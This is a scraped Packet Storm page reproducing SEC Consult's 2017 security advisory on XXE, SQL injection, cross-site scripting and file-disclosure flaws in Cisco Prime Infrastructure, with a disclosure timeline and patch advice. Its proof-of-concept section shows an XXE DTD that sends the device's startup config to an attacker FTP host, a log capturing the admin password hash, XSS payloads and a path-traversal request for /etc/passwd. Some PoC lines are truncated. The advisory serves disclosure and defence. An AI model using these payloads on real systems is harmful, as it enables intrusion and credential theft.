exploit the possibilities

Cisco Prime Infrastructure 3.1.6 XXE Injection / XSS / LFD / SQL Injection

Cisco Prime Infrastructure 3.1.6 XXE Injection / XSS / LFD / SQL Injection
Posted Jun 22, 2017
Authored by P. Morimoto | Site sec-consult.com

Cisco Prime Infrastructure versions 1.1 through 3.1.6 suffer from cross site scripting, XML external entity injection, file disclosure, and remote SQL injection vulnerabilities.

tags | exploit, remote, vulnerability, xss, sql injection, xxe
systems | cisco
advisories | CVE-2017-6662, CVE-2017-6698, CVE-2017-6699, CVE-2017-6700
MD5 | a015626c21297363f1b2f3b6319821c8

Cisco Prime Infrastructure 3.1.6 XXE Injection / XSS / LFD / SQL Injection

Change Mirror Download
SEC Consult Vulnerability Lab Security Advisory < 20170622-0 >
title: XML External Entity Injection (XXE),
SQL Injection, Cross Site Scripting,
Local File Disclosure
product: Cisco Prime Infrastructure
vulnerable version: 1.1 through 3.1.6
fixed version: 3.1.6 Update 1 (patch), 3.1.7 (future release)
CVE number: CVE-2017-6662, CVE-2017-6698, CVE-2017-6699, CVE-2017-6700
impact: high
found: 2016-11-21
by: P. Morimoto (Office Bangkok)
SEC Consult Vulnerability Lab

An integrated part of SEC Consult
Bangkok - Berlin - Linz - Luxembourg - Montreal - Moscow
Kuala Lumpur - Singapore - Vienna (HQ) - Vilnius - Zurich



Vendor description:
"Cisco Systems, Inc. (known as Cisco) is an American multinational technology
conglomerate headquartered in San JosA(c), California, that develops,
manufactures, and sells networking hardware, telecommunications equipment,
and other high-technology services and products. Through its numerous acquired
subsidiaries, such as OpenDNS, Cisco Meraki, and Cisco Jasper,
Cisco specializes into specific tech markets, such as Internet of Things (IoT),
domain security, and energy management."

Source: https://en.wikipedia.org/wiki/Cisco_Systems

Business recommendation:
SEC Consult recommends to install the latest patch to fix the identified
vulnerabilities. Furthermore, the Cisco Prime Infrastructure should be
reachable only from trusted internal network and/or whitelisted IP addresses.

Since SEC Consult only performed a short security crash test on this product
it is highly recommended to perform a thorough security review as there are
indications for further vulnerabilities.

Vulnerability overview/description:
SEC Consult was able to identify some serious vulnerabilities with the
low privileged "monitor-only" user.

1) XML External Entity Injection (CVE-2017-6662)
The used XML parser is resolving external XML entities which allows attackers
to read files and send requests to systems on the internal network (e.g port

The vulnerability can be exploited by a low privileged read-only user
to read sensitive information files with malicious XML code.

The hashed password of the local admin user can be accessed without

2) SQL Injection (CVE-2017-6698)
The identified SQL injection vulnerability enables an authenticated attacker
with low privileges to execute arbitrary SQL commands.

3) Cross site scripting (CVE-2017-6699, CVE-2017-6700)
Due to the lack of input validation, an attacker can insert malicious JavaScript
code to be executed under a victim's browser context.

4) Local File Disclosure (no CVE assigned)
Because of insufficient input validation, arbitrary local files can be
disclosed. Files that include passwords and other sensitive information can
be accessed.

Proof of concept:
1) XML External Entity Injection (CVE-2017-6662)
Login with a low privileged user and navigate to Settings > Export >
select Format 'PDF' click 'Export'.
Make sure the 'Chart' option is selected, this chart uses XML to build SVG

POST /webacs/prime/ui/dashboard/renderer HTTP/1.1
Host: <CiscoPrimeHost>

x [<!ENTITY %25 foo SYSTEM

$ cat sectest.dtd
<!ENTITY % data SYSTEM "file:///storedconfig/active/startup-config">
<!ENTITY % param1 "<!ENTITY exfil SYSTEM 'ftp://<Attacker>:2121/%data;'>">

$ python -m SimpleHTTPServer 1234
$ wget https://raw.githubusercontent.com/ONsec-Lab/scripts/master/xxe-ftp-server.rb
$ ruby xxe-ftp-server.rb
FTP. New client connected
< USER anonymous
< PASS Java1.8.0_66@
> 230 more data please!
> 230 more data please!
< CWD !
> 230 more data please!
< hostname <CiscoPrimeHost>
< !
> 230 more data please!
< username admin password hash <AdminHashedPassword>
> 230 more data please!
< CWD role admin
> 230 more data please!
< !

2) SQL Injection (CVE-2017-6698)
A low privileged user such as "monitor-only" user can read the admin's
password hashes via SQL injection.


Some vulnerable entry points require administrator privileges to exploit.


Some URLs with this pattern are affected by the SQL injection vulnerability
in the JSON field.
"items": [

"items": [

3) Cross site scripting

a) Reflected cross site scripting (CVE-2017-6699)

b) DOM-based cross site scripting (CVE-2017-6700)
src=x onerror=alert(/XSS/)>&pageSettings=
Service Status&jobBreadcrumName="><img src=x onerror=alert(/XSS/)>

4) Local File Disclosure
The attacker must be in the super users or admin group in order to exploit this


Host: <CiscoPrimeHost>
HTTP/1.1 200 OK
Cache-Control: private
Expires: Thu, 01 Jan 1970 01:00:00 CET
Content-Disposition: attachement;
Content-Type: application/zip

$ unzip _.._.._.._.._.._.._.._.._.._.._.._.._.._.._.._.._.._.._.._etc_passwd.zip
Archive: _.._.._.._.._.._.._.._.._.._.._.._.._.._.._.._.._.._.._.._etc_passwd.zip
warning: skipped "../" path component(s) in
inflating: etc/passwd

$ cat etc/passwd

Vulnerable / tested versions:
According to information provided by Cisco, the following versions are affected:
1.1 through 3.1.6

SEC Consult tested the following versions which were the most recent ones at the
time of discovery:
* incl. 3.1.4 patch

Vendor contact timeline:
2016-11-23: Contacting vendor through psirt@cisco.com.
2016-11-23: Initial response from Cisco PSIRT.
2016-11-24: Additional vulnerabilities added.
2016-12-14: Cisco proposed target date for the fixes for March 2017.
2017-03-03: Cisco postponed target date for the fixes to 31 May 2017.
2017-05-16: Cisco postponed target date for the fixes to 21 June 2017.
2017-06-14: CVEs are assigned to the vulnerabilities.
2017-06-21: Patches available
2017-06-22: Coordinated release of security advisory.

Install the patch version 3.1.6 Update 1.

Download URL for the patch:

For more details about the fixes can be found within the Cisco security advisories:

Vuln 1) Cisco Prime Infrastructure and Evolved Programmable Network Manager XML
Injection Vulnerability (CVE-2017-6662)

Vuln 2) Cisco Prime Infrastructure and Evolved Programmable Network Manager SQL
Injection Vulnerability (CVE-2017-6698)

Vuln 3a) Cisco Prime Infrastructure and Evolved Programmable Network Manager
Reflected Cross-Site Scripting Vulnerability (CVE-2017-6699)

Vuln 3b) Cisco Prime Infrastructure and Evolved Programmable Network Manager DOM
Cross-Site Scripting Vulnerability (CVE-2017-6700)

Vuln 4) Local file disclosure (no CVE assigned because of lower CVSSv3 score)


Advisory URL:


SEC Consult Vulnerability Lab

SEC Consult
Bangkok - Berlin - Linz - Luxembourg - Montreal - Moscow
Kuala Lumpur - Singapore - Vienna (HQ) - Vilnius - Zurich

About SEC Consult Vulnerability Lab
The SEC Consult Vulnerability Lab is an integrated part of SEC Consult. It
ensures the continued knowledge gain of SEC Consult in the field of network
and application security to stay ahead of the attacker. The SEC Consult
Vulnerability Lab supports high-quality penetration testing and the evaluation
of new offensive and defensive technologies for our customers. Hence our
customers obtain the most current information about vulnerabilities and valid
recommendation about the risk profile of new technologies.

Interested to work with the experts of SEC Consult?
Send us your application https://www.sec-consult.com/en/Career.htm

Interested in improving your cyber security with the experts of SEC Consult?
Contact our local offices https://www.sec-consult.com/en/About/Contact.htm

Mail: research at sec-consult dot com
Web: https://www.sec-consult.com
Blog: http://blog.sec-consult.com
Twitter: https://twitter.com/sec_consult

EOF Pichaya Morimoto / @2017


RSS Feed Subscribe to this comment feed

No comments yet, be the first!

Login or Register to post a comment

File Archive:

May 2019

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    May 1st
    16 Files
  • 2
    May 2nd
    8 Files
  • 3
    May 3rd
    8 Files
  • 4
    May 4th
    2 Files
  • 5
    May 5th
    1 Files
  • 6
    May 6th
    15 Files
  • 7
    May 7th
    22 Files
  • 8
    May 8th
    16 Files
  • 9
    May 9th
    17 Files
  • 10
    May 10th
    16 Files
  • 11
    May 11th
    3 Files
  • 12
    May 12th
    4 Files
  • 13
    May 13th
    25 Files
  • 14
    May 14th
    24 Files
  • 15
    May 15th
    78 Files
  • 16
    May 16th
    16 Files
  • 17
    May 17th
    16 Files
  • 18
    May 18th
    2 Files
  • 19
    May 19th
    1 Files
  • 20
    May 20th
    11 Files
  • 21
    May 21st
    21 Files
  • 22
    May 22nd
    20 Files
  • 23
    May 23rd
    36 Files
  • 24
    May 24th
    0 Files
  • 25
    May 25th
    0 Files
  • 26
    May 26th
    0 Files
  • 27
    May 27th
    0 Files
  • 28
    May 28th
    0 Files
  • 29
    May 29th
    0 Files
  • 30
    May 30th
    0 Files
  • 31
    May 31st
    0 Files

Top Authors In Last 30 Days

File Tags


packet storm

© 2019 Packet Storm. All rights reserved.

Security Services
Hosting By